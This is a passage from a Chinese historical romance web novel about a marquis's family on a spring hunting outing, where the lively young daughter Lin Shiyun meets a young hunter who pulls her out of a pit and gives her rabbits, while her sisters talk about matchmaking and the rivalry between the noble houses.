下人来报安定侯府几位公子小姐春游的消息,他这便马不停蹄跟了上来。 男子这边有了姚君远的加入也是越来越热络。 只是林景明不善言谈,林景晟一直心不在焉的往大山的方向看,眼看日头越来越大,终是没忍住向大哥说了进山的事情。 林景行有些迟疑,便见林诗芸已经欢快的提着裙摆跑过来了。 “三哥哥,咱们要进山了吗?” 四妹妹也要进山? 林景行是知道林诗芸善于骑射的,只是到底是姑娘家…… 林景行看着四妹妹跃跃欲试的模样,终于是松了口,罢了,多带几名护卫,他这里一时是走不开了。 林景明开口道:“大哥,我陪着三弟和四妹妹一起去,大哥此照看几位妹妹,” 林景行满意点头,二弟做事周全,有他在出不了什么事情。 姚君远看着蹦跶着极为高兴进山的林诗芸若有所思,多日未见,这小丫头是越长越好看了,难怪叫宋晏紧张成那般模样,一席简单的粉裙也叫她穿出来不一样的风姿来,不施粉黛已经甚为惊艳,尤其那一双桃花眼,眼角泛着粉色眼尾微微上扬,十分勾人的模样,这小丫头再长开些,怕是能将京中一半的公子哥儿给勾没了魂儿。 也就这丫头聪明,从不冒头,姑母也从不刁难,还有个一心护着她的姐姐。 想到林诗情,姚君远的目光不自觉便移了过去。 山脚下,林诗情正对着要进山的林诗芸叮嘱着。 她是不放心妹妹进山的,“万不能进深山,在外围猎上一些小物件便回来,” 又转头同春雨叮嘱道:“你且照顾好你们姑娘,若是她贪玩闹着进深山,便将人给打晕带回来。” 林诗芸有些哭笑不得,姐姐怎的这样不信任我,“知道啦知道啦,姐姐放心,这不是有二哥三哥在呢,我就去猎几只肥兔子就回来,没什么危险的,姐姐不必担心。” 今日的林诗情当真是美极,天青色的裙摆被风微微吹起,纤细的腰肢盈盈一握,面上画着精致的淡妆,唇瓣是娇嫩的桃粉色,一双杏眸水润清澈,唇角永远带着淡淡的笑意,在感受到姚君远的目光后林诗情微微笑着点头示意,目送妹妹进山之后便向着他缓步而来。 这一瞬间,姚君远好似能听见自己的心砰砰砰的快要跳出心口了 他握紧了手上的纸扇,故作潇洒的啪的一声合上,轻轻唤了一声,表妹。 那边厢林诗芸一进山便放飞了自我,她今日穿的是极为轻便的衣裙,在山中也是健步自如,腰间挂着可以驱虫的荷包,还有一把防身的匕首。 春雨身上防身的东西就更多了。 林景明和林景晟在前头开路,林诗芸带着春雨走在中间,后头是几个身手敏捷的护卫。 林诗芸是头一次进山,激动的心情可想而知。 一进大山,放眼望去皆是高大参天的树木,阳光透过缝隙漏了进来,脚下虽说杂草丛生,却总能看到各种颜色的花朵掺杂其中,野蛮生长。 偶然经过了一片桃花丛,几只蝴蝶翻飞,虽是个头不高的野桃树,开的却是一样的旺盛娇艳。 因为新鲜,走了大半个时辰,林诗芸竟然丝毫没喊累,只是好奇的四处张望,只觉得一双眼睛实在不够用的,看哪都新鲜。 林景明时刻注意着妹妹,对于林诗芸的表现虽觉有些意外但又觉得合理,他这个妹妹,在归家之前就吃了不少的苦头,平日里不争不抢的,也不娇气,自小就是个十分懂事的,可就是太过懂事了,总是叫人心疼。 父亲和母亲是知道四妹妹私底下做的事情的,在外头开的铺子,私下里卖的首饰,和偷偷摸摸跟春雨学的拳脚功夫。 她越是这样,父亲越是觉得亏欠与她,四妹妹好似从来没有过安全感,她只相信握在自己手里的东西。 一声箭矢声响起拉回了林景明的思绪,紧接着便是林诗芸的一声欢呼, “哇!射中了射中了!好肥的山鸡!三哥哥好厉害!” 林诗芸差点蹦了起来,她骑射功夫不错,但也只限于在平地上射几只活物,像这么在山里,她是一点经验也没有的,看到林景晟上来就射中了一只山鸡,自然是激动的很。 如今正是万物复苏的时候,山中各种动物也一样活跃起来。 林景明见妹妹开心,他自然是不能落下三弟的,于是留下了四名护卫保护林诗芸,林景明和林景晟便在周围开始打猎。 已经走了一个多时辰,此处虽不是深山,各种小型动物也算频出,林诗芸也在尝试着瞄准射箭。 只听一声高呼,“二哥,那边有头鹿!快!” 一听有鹿,林诗芸的眼睛睁得大大的,忙提起裙摆想追过去,林景明转过头便看到妹妹这般模样,严肃的面上多了一丝笑意,“走吧,哥哥带你去,” 林诗芸张了张嘴,看了看三哥离开的方向,思趁了片刻还是摇了摇头,“二哥哥你去吧,一定要注意安全,二姐姐不让我进深山,你和三哥去猎小鹿,我都好久没吃过烤鹿肉了。” 林景明心中甚是欣慰,揉了揉妹妹的头,笑着说了声好,又扫视了守着林诗芸的护卫一眼,接收到保护好小姐的讯号,护卫们躬身行礼,林景明没在言语,转身便追猎物去了。 林诗芸眼馋的望着二哥哥离开的方向,越往里越深,二姐姐不叫她去那么远,她还是收起了自己那跃跃欲试抓小鹿的心,专心去抓兔子吧,这个比较适合她。 只是深山 她对身后的两名护卫摆摆手道:“你们二人去跟着二哥三哥吧,我这里留下春雨和他们二人便可。” 那二人只略微迟疑了片刻,还是听从了林诗芸的吩咐躬身离开了。 林景明兄弟身旁也就各带了两名护卫,那边又是深山,林诗芸不太放心。 她又不进深山,想来也没什么危险的。 林景明瞧着身边多出来的护卫皱了皱眉,刚要开口训斥便听林景晟吊儿郎当的话语传了过来,“肯定是四妹妹担心咱们才将人给赶过来的,无事,有春雨在呢,二哥且将心放到肚子里去吧。” 林景晟这话一说完,林景明的眉头皱的更深了,春雨一个姑娘家,能有多厉害? 林景晟对着身边的护卫努努嘴,“阿大,你给二爷说说春雨有多厉害,” 阿大个子不高,但是眼神凌厉身材壮硕,听到自家少爷的话之后本是凌厉的目光闪了闪,支支吾吾道:“春雨姑娘武力确实不俗。” 他可是在这丫头手上吃过亏的,躺了好几天呢! 阿大是侯府一众侍卫中身手出类拔萃的,鲜少护卫能叫阿大吃亏,听到阿大如此说,林景明倒是真有些意外了。 阿大只低着头一味不语,春雨那丫头太贼了,用的全是阴招! 林景晟只笑着解释道,“阿大在春雨的手上吃过亏,二哥便放心吧,四妹妹出不了事的。” 言罢便专心的去追猎物去了。 远处一名耳力极佳男子听到有说话声传来。 他捡起地上的獐子,一把将獐子身上的箭拔掉,稍作收拾背在了身上转身便走。 一到春日便有京中的王孙公子上山打猎,他也习惯了,只是他从来谨慎,为了避免没必要的麻烦,从来不和这些王孙公子碰上。 此人正是孟云上。 想到初上山时被他几次才甩下的人,孟云上终于还是皱了眉头,他不知自己是被何人盯上了,总之还是赶紧下山,小心为妙。 林诗芸这边带着春雨继续在周边行动,山林里什么都有,在路过一片巨大的灌木丛时只见一只灰色的大肥兔子从不远处经过,说时迟那时快,林诗芸也不做多想,瞄准兔子的方向就将手中的箭矢射了出去。 之后她便紧张兮兮的看着兔子的方向,很好,她的箭射到兔子后腿了!那大肥兔子还想拖着伤腿跑的时候已经来不及了,春雨的箭矢也已经射了出去,直中脑壳,鲜血蹦出,几息之后兔子立马死翘翘了。 林诗芸高兴的同春雨击了个掌,她终于猎到了人生中的第一只猎物,虽然是在春雨的帮助下,但是没关系,多尝试几次,她一定也可以的。 人生哪有一蹴而就的!她射中兔子腿已经很了不起了! 护卫将兔子收好,冷不丁的来了句,“这是只母兔子,附近应该有兔子窝。” 林诗芸的眼睛顿时发亮,真的吗? 护卫点头,另一名高些的护卫也道:“附近是灌木丛,杂草也多,都是兔子会经常出现的地方,母兔不会丢下孩子很远,这附近定是有兔子窝的。” 林诗芸一听那还了得,今日是必须要捉几只的! 她点点头打量了周围的环境直接道:“这样,咱们分开找,附近看着也没什么危险,咱们多捉几只,一会儿下山烤来吃!” 两名护卫自然是不敢走的,他们走了,谁来保护四姑娘? 林诗芸看看两人的表情便知道两人迟疑什么,于是对春雨撇撇嘴抬了抬下巴,春雨接受到信号,挑了挑唇角,一拳便冲向了二人,结果,不过几个回合下来,二人便被春雨一人一拳一脚的给踢飞了 春雨这武艺,是姚氏花了大价钱寻了师傅教的,实用性极高。 虽然一人手上拿着兔子的不太方便,但是败了就是败了,春雨的武力值惊人,尤其是拳脚的攻击力,属实是叫他们二人没有想到的。 于是二人也不再迟疑,带着身上的酸痛麻利转身去找兔子窝去了。 待二人走远,林诗芸噗嗤一笑,直给春雨竖起了大拇指。 “还是春雨姐姐厉害,深宅大院太埋没你了。” 春雨一听这话脸上顿时露出紧张的神色,林诗芸牵着她的手安慰道,“你先别急,我老早就想问母亲要你的卖身契了,咱们外头的铺子还是需要人手的,我眼看就要到了议亲的年纪了,许多事本就不方便,还得你来。” 春雨点点头,“我知道的姑娘,我就是,怕你为难” 林诗芸正色道,“我为难什么,你即使放出去了也还是帮我做事不是,我知道你想去找你妹妹,你们小时又都被卖到了京城,如今你长大了,找他们是无可厚非的事情,” 春雨是六岁时被卖掉的,她已经有记忆了,那妹妹还不到五岁,她不知道妹妹是否还活着,但是她的记忆里一直有一个声音在告诉她,一定要找到妹妹,一定要姐妹团聚。 林诗芸拍了拍她的手笑的温柔,“走吧,这事从长计议,咱们赶紧先去抓兔子!” 二人小心翼翼的,拿了根树枝在周围不断翻找,只是兔子太狡猾了,兔子窝并不好找。 好半晌她也没在遇到一只,正当林诗芸有些沮丧之时,便听见了不远处的动静,是野鸡扑闪翅膀的声音,她刚转过头去,便见一只野鸡正展翅高飞呢,想逃? 林诗芸抽出身上的箭矢,不做迟疑,直接射了出去。 而正在下山的孟云上也恰巧路过看到了这只又肥又大的山鸡,够肥,可以给母亲煲汤,便也迅速射出了箭。 林诗芸刚射出便见另一侧的方向也飞来一箭,那人的箭法极好,直接穿透了野鸡的脖子,而她的那只箭矢连鸡毛都没有沾到。 野鸡被射中后从半空中掉落在草丛,竟还没死透,在草丛中扑腾了几下才没了声息。 林诗芸被吓了一跳,又好奇的伸长了脖子,感叹了一句好箭法,便见一个身着灰色衣衫的青年从一处走了过去,青年皮肤黝黑,一张脸看不出什么表情,虽对山中突然冒出来两位姑娘有所诧异,但也只是朝林诗芸的方向微微点了点头便转身离开了。 林诗芸撇嘴,这人还挺高冷的,颇为艳羡的看着那人一身的猎物,转身继续同春雨说话。 青年耳力极佳,走的远了都还能听见女子同身边之人的谈话声,“春雨,他好厉害啊,你看他身上挂了好多的猎物,竟然还有一头獐子,也不知二哥哥他们猎到没有,这玩意撒些自然烤来吃最是美味了。” 言罢女子还有些遗憾的叹了口气。 孟云上扬了扬唇角,脸上的表情终于有了些变化,只听女子又高兴起来了,“嗯,我不馋,咱们还是赶紧抓兔子,一只干煸一只红烧,再多放些辣椒,啧啧,必须好吃,” 孟云上来到附近的水潭边,将手上的脏污给洗净才终于笑了出来,这位姑娘当真是与众不同,馋嘴馋的也很有一套。 虽然感叹青年的身手好,但是林诗芸也是没多在意,不相干的人罢了,她现在心中只有捉兔子这一件事。 主仆二人继续翻找,林诗芸渐渐的觉得有些无趣,开始唉声叹气起来,或许是兔子听见了她的召唤,一只灰扑扑的小兔子竟然从她们眼前跑了过去。 二人连忙去追,只是人一变得兴奋就开始忘乎所以,乐极生悲。 不知是谁在附近做了个陷阱,林诗芸一个没注意便一脚滑了进去 她啊的一声惊呼便掉进了坑底。 龇牙咧嘴的摸了摸屁股和腿,被摔的有些痛,但好在坑底不少干草,只是摔了一下,没受什么伤。 她打量坑底,运气不错,当真就是一个坑,没什么尖刺之类的。 这啊一声也将正在水潭边收拾猎物的孟云上给引了过来。 春雨自是也顾不得什么兔子了,正焦灼的趴在地上伸手想将自家姑娘给拽出来,只是坑有些深,林诗芸蹦了几下都碰不到春雨的手。 孟云上面无表情的往坑底望了两眼,在附近找了根半长的树枝又走了过去。 这时春雨才想起来去找个什么绳子将姑娘给拉上来,便见刚才的碰到的猎户已经拿着树枝伸向了坑中。 林诗芸高仰着脸,看着突然出现在坑边的男子,她也才看清男子的相貌,眉眼深邃,面容刚毅,嗯,黑是黑了点,长得还不错。 她早就忘了今日的计划,愣是没往那位“大姐夫”身上想,只是习惯性的打量对方的长相。 林诗芸伸手握住了树枝,双脚也踏着坑壁往上爬。 在孟云上的视角,看到的便是头发歪斜,虽有些狼狈但还是努力向上爬的林诗芸,一双眼眸水润,因为用尽了力气而涨红了的面颊艳若桃花,实在是,极美 一口气终于来到坑口,春雨终于抓住了姑娘的一只手,在孟云上的帮助下,林诗芸终于爬了上来。 她已然顾不得什么形象了,一屁股便坐下了地上,气喘吁吁地向孟云上道谢。 “多谢这位大哥,若不是大哥及时出现,我还得在坑底熬上一会呢,” 孟云上不敢同林诗芸对视,直接别过了脸去,木然道:“无事,萍水相逢罢了。” 林诗芸扶着春雨的手站了起来,主仆二人朝着孟云上作揖道:“不论如何,今日多谢大哥,” 孟云上闪身躲过,并不敢受。 林诗芸觉得这人挺有意思的,这是害羞不敢看她嘛,故意笑着道:“今日本是来捉兔子的,只是没想到兔子窝还没找到呢我倒是掉窝里了。” 春雨无奈的听着姑娘自嘲,上前将林诗芸将歪斜的头发给收拾齐整。 那边孟云上本应离开的,却在听到林诗芸说抓不到兔子的时候鬼使神差的点了点头,脱口而出道:“这附近是不少兔子窝的,只是姑娘寻找的方法不对,” 言罢他皱了皱眉头,也不知是对自己多嘴的懊恼还是在思考要不要帮林诗芸抓兔子。 最后一番天人交战,眼睛却是自动搜索,他指着不远处道,“那便是兔子窝了,比较隐蔽,姑娘不认识罢了 。” 说完径直的走了过去,一番操作之后竟在一个看似没什么了草丛里抓出了一只,两只四只兔子! 都是个头不大,但比较灵活的那一种。 四只兔子被男人揪着耳朵踢着短腿蹦跶。 林诗芸惊呆了! 这是什么样的操作! 她找了好半天都没找到,人家片刻的功夫就抓住了,还是四只?? 惊讶过后自然是惊喜。 这小兔子,若是养在府里,再大一些是不是能生小兔子?小兔子再生小兔子?她可是知道兔子的繁殖能力是非常强的,那这样她是不是就有吃不完的兔子了! 男人将四只兔子举到林诗芸身前,意思非常明显,都给她?! 林诗芸一张小脸笑的,快要比山花都灿烂了。 她咬着唇,有些不确定道:“那个,你要都,都给我啊?这,可以吗?” 孟云上看到林诗芸脸上的想要又不好意思的表情,没忍住直接笑了出来,点点头嗯了一声,又朝水潭边努了努嘴,对林诗芸道,“你也看到了,我今日的收获颇丰,几只小兔而已,实在不值当什么的,姑娘且拿去养着玩吧。” 林诗芸忙不迭点头,同春雨二人喜不自胜的将四只小兔子给接了过去,林诗芸抱着兔子一张小脸笑颜如花,“谢谢大哥,大哥你真是个好人,将我从坑底拉出来,还送我兔子!还这么厉害!猎到了这么多的猎物,我都不知道该怎么夸你了,你这也太厉害了,” 孟云上被林诗芸夸的,又是发好人卡,又是夸他厉害,黝黑的面颊显得更黑了,他摆摆手,结结巴巴道实在不算什么。 林诗芸刚想询问他叫什么名字好交个朋友时便听见了护卫找来的声音。 她转头一看,好家伙,那边也是收获颇丰,两个护卫手上抓着好几只肥兔子呢! 林诗芸一下忘乎所以忙不迭笑着点头回道:“好,那咱们这便下山!” 她怀里抱了两只小兔子,微微躬身再次跟对面的人道谢,“今日多谢大哥了,护卫已经找来,哥哥姐姐还在山脚下等着我,我这便回去了,咱们有缘再见,” “就此别过,大哥路上小心。” 孟云上点了点头,便见林诗芸已经带着兔子转身离去。 他盯着那曼妙的身姿看了半晌,终于在佳人的背影消失不见之时才张了张嘴,含糊不清的说了句有缘再见,他黝黑的脸上看不出什么情绪,只是好半晌之后才走向了林诗芸掉落的那个陷阱。 坑不大,深是有些深的,看着不像是猎户设下的。 摇摇头,心中估计是村子里半大的孩子设下抓小野物的,于是在一旁找了些枯枝干草直接将坑给填上了。 此处不算深山,又有水源,平日里来往的人还是有的,万一再有掉下去的就不好了。 林诗芸精神抖擞的下了山,实在是收获满满。 两个护卫手上有六只肥兔子,她和春雨各抱了两只小兔子,她一路脚底生风的下了山,一上午满山跑来跑去的丝毫不见疲惫。 远远的便看到了林诗情的身影。 这早就过了午时了,姐妹二人约定的午时她定下山。 怀里抱着兔子欢快的朝姐姐跑去,林诗情一看到妹妹向她跑来紧绷的心顿时松懈下来,只是离的近了又看看林诗芸衣裙上的脏污,裙摆上还有被刮破的痕迹,忙叫人将林诗芸手上的兔子接过来,自己则是牵着林诗芸的手急忙要上马车去换衣裙。 林诗芸丝毫不觉得姐姐是在嫌弃她,一边跟着姐姐走一边蹦跶问姐姐自己厉不厉害,抓到了这么多兔子,以后咱们都不缺兔子吃了。 林诗情捏了捏妹妹的手,嗔怪道:“厉害,怎么不厉害,一早穿出来的崭新衣裙被你一上午就穿成了块破布,怎么能不厉害?” 林诗芸就看着姐姐傻笑,她衣裳确实破了,刚才摔了一下,裙摆上也都是泥土,不过姐姐怎么说她都没有关系,姐姐是关心她怕她受伤呢。 林诗情伸手帮妹妹擦掉鼻尖的灰尘,“好啦,不准再调皮了,赶紧上马车换身衣裙,叫别个看到你这一身的脏污咱们侯府的名声还要不要了。” “快些走,你的兔子有下人看着,跑不了的……” 孟云上将坑给填上便准备下山,转身大步离开时却注意到脚边有颗晶莹剔透的玉石。 他低头捡起,是一只玉石雕刻的小兔子耳坠,活灵活现白白胖胖的,眼睛处还镶嵌了一颗细小的红宝石。 应是刚才那位姑娘遗落下来的。 他看着手心的耳坠,再想到刚才姑娘不俗的长相和身上流云一般的气质,自言自语道,怕是高门贵女吧。 他用力握了握耳坠,想将其塞进怀里,不知想到了什么,手上的动作顿了顿,又用另一只手撕下里衣的一角,将耳坠小心的包好这才放进怀里。 不知现在下山还能不能碰到她? 这么想着孟云上便大步走向自己的猎物,加快了脚步很快便下了山。 他一身的猎物,没有贸然的下去。 他知道游人大多会在河边,他躲在一棵大树后,查看下方的景象。 果然,几辆华贵的马车停在山坡下,俨然可见贵女公子在周边游走玩乐,丫鬟侍卫守护在周围,叫人不敢靠近。 他只看了几眼,便准备要离开,却远远的看到了一摸熟悉的身影从里头的一辆马车上蹦了下来。 她很高兴的模样,手舞足蹈的在同身边的女子说着什么,身上俨然换了一身衣裙,蜜粉色,像其人一般温暖的颜色。 她很欢快的走向了另几位衣着华贵的女子。 他的目光不自觉追随着她,直到她进了帐篷。 他的目光再次移到马车,他常年狩猎,眼力极佳,可以清晰的看到外头那辆马车上的郑字。 这种规格的马车,姓郑,是,忠勇侯府? 她是忠勇侯府的小姐…… 孟云上的抿了抿唇,他是定安侯麾下。 忠勇侯,据说同定安侯不睦。 摸了摸怀中的东西,叹息一声,她说有缘再见,若是真的有缘还能遇见她就好了… 他从未遇见过这般的女子,明艳活泼又带着几分的纯真娇憨。 扯了扯嘴角自嘲一笑,终是转身顺着小路离开,他的身份,哪里配认识侯府小姐,萍水相逢罢了,若是以后还能有缘遇到,他再将东西还给她吧。 缘分真的奇妙。 若是此时小路上的孟云上停下脚步向下望去,便可以清楚看到里头那辆马车的外貌,两辆马车虽说是并列着,但是里头那辆同外头这辆却是明显不同,尤其里头马车那明晃晃标识,不是林字又是什么呢…… 第22章 四只小兔子被众位贵女翻来覆去的蹂躏。 林诗芸也没管,只叮嘱大姐姐留下一公一母来带回府里便去找吃的去了。 这累了一上午,快饿死她了。 帐篷内早已摆了一桌子的吃食,精致的点心烹制好的野菜,竟然还有烤鱼,林诗芸看着一桌子的美食不由得食指大动。 春雨被她赶去休息了,听雨给她布菜。 林诗情同她一起用膳,她一直饿着肚子等着林诗芸呢。 午膳虽不比府上丰盛,却胜在新鲜。桌子上摆满了山中野味,农家小菜,姐俩也是吃的满足,尤其林诗芸,吃的喷香。 不过她故意留了肚子。 她还得吃烤兔肉呢,她一回来便叫人收拾出来烤上了。 她这边用完午膳稍作休息,便听到二哥三哥他们从山中回来的动静。 二人忙不迭跑了出去。 好家伙,林诗芸直呼好家伙,还真叫二人猎到了鹿,不仅如此,竟然还有一头野猪! 可给林景晟牛逼坏了,对着众人得意道,“小东西我们都没猎,也就是二哥怕大伙儿担心着急回来,不然怎么着我都是能猎头熊的!” 捧场王林诗芸不断的竖起大拇指,夸赞的话是一句接着一句,“二哥三哥可真厉害!这头鹿这么大,可费了不少功夫吧?竟然还是活的?哇!三哥哥你看它还在动!” “我的天呢!这野猪,这野猪怕是得两三百斤!没遇到什么危险吧?” “二哥三哥辛苦了!我长这么大还是头一次见这么大的野猪呢!多亏了哥哥们,今日真是长见识了!” “二哥哥你累不累 ?” “三哥哥你渴不渴?” “二哥三哥赶紧换身衣服休息,吃食都备着呢,肯定饿坏了吧,我刚刚可是饿的一口气吃了三碗饭呢。” 转头又看向众位护卫,又朝他们比了个赞,“太厉害了你们,可有受伤的?回头大哥哥给各位发赏钱啊!” 这小嘴巴巴的将林景晟和一众护卫给哄的,嘴巴都咧到耳后了。 连林景明都难得的弯了眉眼,他还是头一次如此的情绪外露,竟是被自家妹妹给夸的。 林景行听了四妹妹的话亦是笑着点点头,大手一挥道,“都赏,跟着上山的全部赏两个月的月钱,今日在场的全部赏一月月钱,回去找管家领便是。” 一众的下人护卫忙不迭谢恩,这下连干活都更有劲儿了。 郑薇薇捂着嘴在一旁直乐,这个林诗芸,小嘴可真厉害,不怪众人都宠着她,她恨不得将人给拐回府里去。 林家几个姐妹早已经习惯了林诗芸这一张抹了蜜的嘴了,毕竟是千金小姐,远远的看着猎物都没敢靠近,这些大物件臭的很,哪里有小兔子来的可爱。 郑敏敏怀里也抱着个小兔子,几个庶妹舔着脸想要抱一下的时候被她被撵走了,还哭唧唧的说要回去找爹爹告状! 一群什么玩意,她与人吵架的时候跑的倒是快,现在来找她要兔子?呵,她还没玩够呢,门都没有!爱告状告去!打不死她们! 于是,郑敏敏又艳羡的看着林家的几个姐妹,尤其林诗芸,也不嫌脏,早就蹦跶到猎物旁边围着众人兴奋的说着什么了。 她有些失落。 为何定安侯府是这样欢乐祥和的模样呢,不是说高门大院里都一样吗,庶子庶女小妾姨娘斗得不可开交? 郑子墨难得注意到了妹妹的失落,他走进妹妹,将她发上沾到的兔毛摘下道,“不要羡慕,哥哥和母亲会给你找一门称心的婚事,不论是高门还是低嫁,家中人口简单祥和最好,到时敏敏也会过的幸福自在的。” 郑敏敏看着哥哥,鼻头有些酸,又想到了小姑姑,点点头,嗯,她才不着急嫁人,林诗芸说的对,好饭不怕晚,她和小姑姑都会遇到志同道合之人的。 郑子墨揉了揉妹妹的脑袋,敏敏从前的脾气不是这般的,只是后来在几个庶妹身上吃了亏才张牙舞爪起来,若是,郑子墨的目光闪了闪,定安侯府的氛围不就是他们一直想要的吗,若是妹妹能嫁进定安侯府…… 林诗芸心情别提多美了,今天收获可太丰盛了,想到晚膳能吃到的野味,舔了舔唇角,眯着眼睛慵懒的伸了个懒腰,不小心碰到了屁股,她抽气一声,屁股被摔的有些疼,不过没关系,她还可以忍受。 看到林诗情向她走来,她笑着眯了眯眼睛,生活如此美好啊!她可真是太太太幸福了! 抱着姐姐的胳膊撒了会娇,眼睛却扫到了某个形单影只的身影。 撇撇嘴,嗯……她心地善良,便去陪她说说话去吧,自己一个人免不得又会胡思乱想的。 于是林诗芸转身同姐姐嘀咕了几句,林诗情听完点点头,将怀里的小兔子塞到她怀里,“抱着兔子去,好好与人说话,不准胡扯,也不准耍小性子。” 林诗芸撅着嘴点点头,姐姐怎的这么不相信她呢,她哄人还算有一套的。 抱着兔子的林诗芸很快迈着轻快的步子来到郑薇薇的身旁,一屁股坐到铺好的毯子上,学着对方看着对面的美景,懒洋洋道,“怎的自己在这?我猎的兔子快烤好了,一会一起吃点?” 郑薇薇不知可否,微微点头嗯了一声,转头撇了小丫头一眼,知道这是怕自己还没想开又来安慰自己呢,嘴角轻轻扬起,“好啊,但是真是你猎的?” 林诗芸佯装生气道,“你还不相信我?小看谁呢!我可是射中了兔子腿的!我也很厉害的好不好!” 郑薇薇忍笑,她努力不叫自己笑出声来,“嗯厉害厉害,芸儿最厉害了,快,小兔给姑姑抱抱。” 林诗芸哼的一声撇撇嘴,翻了个白眼将兔子递了过去,无所谓道:“送你了,以后你便养着吧,给你做个伴,” 而后又低头故意对着小兔子道:“以后就跟着你姑姑啊,她会照顾好你的,不用怕。” 郑薇薇摇头嗔了林诗芸一眼,熊孩子是一点也不吃亏,谁是兔子姑姑了? 林诗芸才不管呢,自顾自继续道:“这小东西不能喝生水,给它吃些新鲜的菜叶子胡萝卜就行,它们很好养活的。” 郑薇薇点点头,看了眼林诗芸才道:“我无事的,不用担心我。” 林诗芸哼了一声,摆摆手不甚在意道,“谁担心你啦,我这不是看在忠勇侯府的面子才给你送来一只,那只被敏姐姐抱去了,我怕你没兔子喂,回去再给敏姐姐闹,” 说完她逗兔子的手顿了顿,看向郑薇薇道:“我是想开导你几句来着,但是我觉得你自己可以想通,本来就不是你的错,作何拿别人的错误惩罚自己,侯府贵女,便是一辈子不嫁又能怎的?嘴巴长在别人身上,谁爱说谁说去。” 林诗芸说的没错,老侯爷侯夫人早就仙逝,哥嫂待她不错,母亲还给她留下了极丰厚的嫁妆,只是她不嫁……府上几个小辈还得嫁啊…… 林诗芸挑眉,“你在想敏姐姐她们?” 古人就是麻烦,17,8岁的小姑娘就开始恨嫁,哎。 “她们才多大?你才多大啊,京中二十岁才嫁人的不多了去了?你恨嫁什么,去别人家做媳妇伺候公婆哪有在自己加做娇小姐来的舒坦。” 眼看小丫头开始口不择言,郑薇薇忙止住话题,“好啦,好啦,我都知道了,不会再不高兴了,你且,” 她转身一眼便撇到大侄子看林诗瑶那饱含深情的眼神,嘴里的话戛然而止,大侄子疯了吗,定安侯府众人俱在,他那俩眼睛恨不得粘林诗瑶身上。 林诗芸好奇她作何忽然止住了话头,顺着郑薇薇的眼神一看,嗯…… 好家伙,郑子墨看大姐姐那眼神,她顿时起了一身的鸡皮疙瘩。 果然,林诗芸一眼便看出来了。 这眼神也太露骨了些。 好在大哥哥适时挡住了郑子墨的视线,不知说了些什么,郑子墨尴尬的抱了抱拳。 郑薇薇也没打算瞒着,她估摸着今日林景行应也已看出来了,看林景行刚才那满脸不悦的表情便知道了。 郑薇薇顺势问林诗芸觉得她大姐姐和自家大侄子如何。 林诗芸张了张嘴,好好打量了一番郑子墨,虽说这人浓眉大眼大高个,长的算是板正,皮囊配她大姐姐嘛,是有些差强人意,嗯勉强算他配的上吧。 至于两家这门第。 同为侯爵,一个世子,一个嫡女,却是门当户对。 但是两家这对立的关系…… 她大姐姐的爹跟郑子墨他爹不能打起来吧? 郑薇薇摇头表示这就是她不懂了,那俩的关系可没那么坏,从小到大的交情,哪是一日就会交恶的,多数是做给上面那个看的,“如今我大哥早已卸了军权,是个闲散侯爷,你大伯也逐渐将权利交给旁人,至于二人到底是怎样的关系,谁知道呢。” “你大伯的几个儿子,一个没有从军的,包括你二哥,这么好的苗子从文,也是可惜了,这些啊,都是你爹你大伯他们故意的。” 林诗芸一头雾水,一点也不明白,“你是说他们对立了那么多年可能都是假的?那,我大姐姐和郑世子也是有可能的?但是我大姐姐又不喜欢郑世子。” 郑薇薇摇头,真真假假的她也不能断定,至于林诗瑶嘛,她同大侄子小时也算是青梅竹马的一处玩过,感情的事,谁知道,万一哪一日就突然看上自家大侄子了呢。 带着满肚子的疑惑,林诗芸踏上 了回府的马车。 她这人藏不住事,一上马车便抱着林诗情的胳膊懒懒的靠坐在软榻上,眼睛却时不时的撇向林诗瑶。 只是林诗瑶并未感觉到任何不妥,刚坐好便迫不及待的询问林诗芸在山中可有碰到什么人。 她憋了一下午了,这才逮到机会问出口。 林诗芸自是实话实说,“碰到了啊,那人射箭的功夫极好,还,” 林诗芸抿了抿嘴,决定隐去掉坑那一段继续道,“还帮我抓了兔子,那四只小兔子就是他帮我抓到的。” 林诗瑶高兴坏了,忙不迭继续道:“那他长得什么样子?年纪多大?” 她一早差的几人早就打探到了今日上山的猎户,今日极巧,山中只孟云上一个青年打猎。 林诗芸眨着眼睛回忆了才道,“是个年轻人,跟大哥哥差不多大的年纪,嗯……有些黑。” 林诗瑶一拍手,高兴的差点蹦了起来,她就知道!“哎呀,碰上了碰上了!就是他!今日山上只一个年轻的猎户!” 林诗芸一脸懵逼,啊?那人是那个小校尉? 叫什么来着,孟云上? 不是吧?真就这般巧叫她碰上了? 林诗情林诗意更是面面相觑,说偶遇就偶遇了,还这般轻易的碰上。 林诗芸皱着眉头回忆了半晌,呐呐道,“是个挺高冷的年轻人,我不知是不是孟云上,但是五官还不不错,就是黑了一点,穿着灰色的衣裳,啊,你们不知道他多厉害,还猎了头獐子呢,身上挂满了猎物,馋死我了!” 第23章 回府的这一路上,林诗瑶的唇角就没下来过。 她现在信心满满,就凭那小校尉给四妹妹送兔子这一点,事定是成了的! 嗯,接下来她需要差人继续打听小校尉的动向,直到心想事成才是。 林诗芸倒是一点也没放在心上。 她又没有蓄意勾引,今日这事确为偶然。 她更关心的是大姐姐有没有注意到忠勇侯府世子郑子墨。 于是林诗芸试探着开口,“大姐姐,我看郑世子同敏姐姐的关系也挺好,郑世子人瞧着还不错,跟咱家大哥一样是位好兄长。” 结果林诗瑶只微微点了点头,顺带骂了郑敏敏两句,“这人也太不见外了,直接抱了一个兔子走,哼,狗东西手倒是快!” 林诗芸见大姐姐是丝毫未将郑世子放在眼里的模样,只好闭了嘴。 倒是林诗意眼睛眨了眨,跟林诗芸对视一眼,眼中虽有疑惑但更带了些许的了然,她张了张嘴但是未说出什么话来,林诗芸会意,抿着嘴点了点头。 林诗意看了眼大姐姐,朝林诗芸摆了摆手,意思明显,姓郑的不是大姐姐的菜。 林诗情注意到了二人的小动作,但并未说些什么,自林诗芸从山上回来,她一直盯着妹妹,眉头微皱,不知想些什么。 在踏上侯府大门的那一瞬,林诗芸终于有了累的感觉。 屁股也隐隐作痛,一天的高兴奋高活动量,这一回府只想泡个澡往床上那么一趟,恨不得晚膳也在床上吃了。 林诗情牵着妹妹的手,想同妹妹说些什么,却被姚氏差人给叫走了,她只好叮嘱林诗芸晚上等她一起用膳,看着林诗芸乖巧点头这才离开。 只是林诗芸这刚一进自己院子,伺候姨娘的丫鬟便迎了上来,原来是姨娘身体不适,还执拗着不肯叫府医,丫鬟没办法只能来寻四姑娘了。 林诗芸一下便着急了,吩咐小丫鬟赶紧去请府医,自己则着急忙慌的往姨娘院里去。 